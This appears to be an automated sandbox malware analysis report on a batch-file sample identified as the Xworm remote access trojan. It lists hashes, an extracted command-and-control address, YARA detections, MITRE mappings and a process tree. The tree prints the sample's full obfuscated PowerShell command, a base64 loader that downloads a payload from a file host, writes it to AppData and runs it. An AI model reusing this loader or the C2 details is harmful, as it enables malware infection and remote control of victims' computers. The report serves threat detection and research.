xworm | 7ffcaf8bdd123035296666812a5e843c6468073ac9f0e72ae74a64b6f03989b0

Analysis

user interaction
yes
max time kernel
4s
max time network
4s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/03/2026, 02:20

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General

Target
oci3o4 (1).bat
Size 507B
Sample260313-csec3afz8w
SHA256 7ffcaf8bdd123035296666812a5e843c6468073ac9f0e72ae74a64b6f03989b0
MD5 b1a897965091dc310839762406118c37
SHA1 8cb144705409ab4f2eef20deb5ed9c33a6f13003
SHA512 001f4282cd3e512477aadaa44a3f501fe2e98ce162f07814b8d495fa3c3f2c2c3c4779a2f33b6057cf2eba7921818112d923132d30dec52ff5be4f7838ae4d54
TLSH
T167F0C0131169978C159845F211247CA8832D76CB36241A8D63F58B484F8226895DABC4
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

mouftakhiramin-53951.portmap.host:53951

Mutex

oSb1V8m76tM57fbL

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000022b39-15.dat	family_xworm
behavioral1/memory/2372-19-0x00000000008B0000-0x00000000008C2000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2036	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2372	m316xswm.bat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2036	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2036	powershell.exe
2036	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	2372	m316xswm.bat

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5100 wrote to memory of 2036	5100	cmd.exe	87
PID 2036 wrote to memory of 2372	2036	powershell.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\oci3o4 (1).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -NoProfile -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('CiRiYXNlNjQgPSAoaXdyIC1VcmkgJ2h0dHBzOi8vZmlsZXMuY2F0Ym94Lm1vZS9nOWE0ZjAudHh0JykuQ29udGVudAokYnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRiYXNlNjQpCiRwYXRoID0gW1N5c3RlbS5JTy5QYXRoXTo6Q29tYmluZSgkZW52OkFQUERBVEEsICdtMzE2eHN3bS5iYXQnKQpbU3lzdGVtLklPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRwYXRoLCAkYnl0ZXMpClN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwYXRoCg==')) | Invoke-Expression"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Users\Admin\AppData\Roaming\m316xswm.bat
    "C:\Users\Admin\AppData\Roaming\m316xswm.bat"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2372

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_r0jr5lb2.54x.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r0jr5lb2.54x.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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m316xswm.bat

Path C:\Users\Admin\AppData\Roaming\m316xswm.bat
Size 44KB
SHA256 803b72cc67ef8378468c285bb703de7258dd13249fbb1948d0344464a783278f
MD5 a2fa07d2094fe5034c94dc845779a267
SHA1 b5fdd13f4f439edaf0418375a21209b7319ba113
SHA512 b9b186a2e302a0bd494f0bbe1e37edf4fb97dfbd2dd2ad238db23e7e753fc186edb3f78387fc921f2d6c49722940ef704f7b14109d128dbc6e1c4c3914cbecb3
SSDEEP 768:NUeUUgJudgMuafNqlfebHU535d3IcqhxuPQhLOL+au7E:NmUCfWHE5d3vExl1Oqau7E
TLSH
T14A13F79937A44A22C7FD66F06CF3910202F195B71B27E70F48D594CB3B67B909980AD7
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/2036-0-0x00000245AB8B0000-0x00000245AB8C0000-memory.dmp

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memory/2036-1-0x00000245AB8B0000-0x00000245AB8C0000-memory.dmp

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memory/2036-2-0x00000245AB9F0000-0x00000245ABA12000-memory.dmp

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memory/2036-10-0x00000245AC680000-0x00000245ACE26000-memory.dmp

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memory/2036-20-0x00000245932C0000-0x00000245932CC000-memory.dmp

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memory/2372-19-0x00000000008B0000-0x00000000008C2000-memory.dmp

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memory/2372-21-0x000000001B540000-0x000000001B550000-memory.dmp

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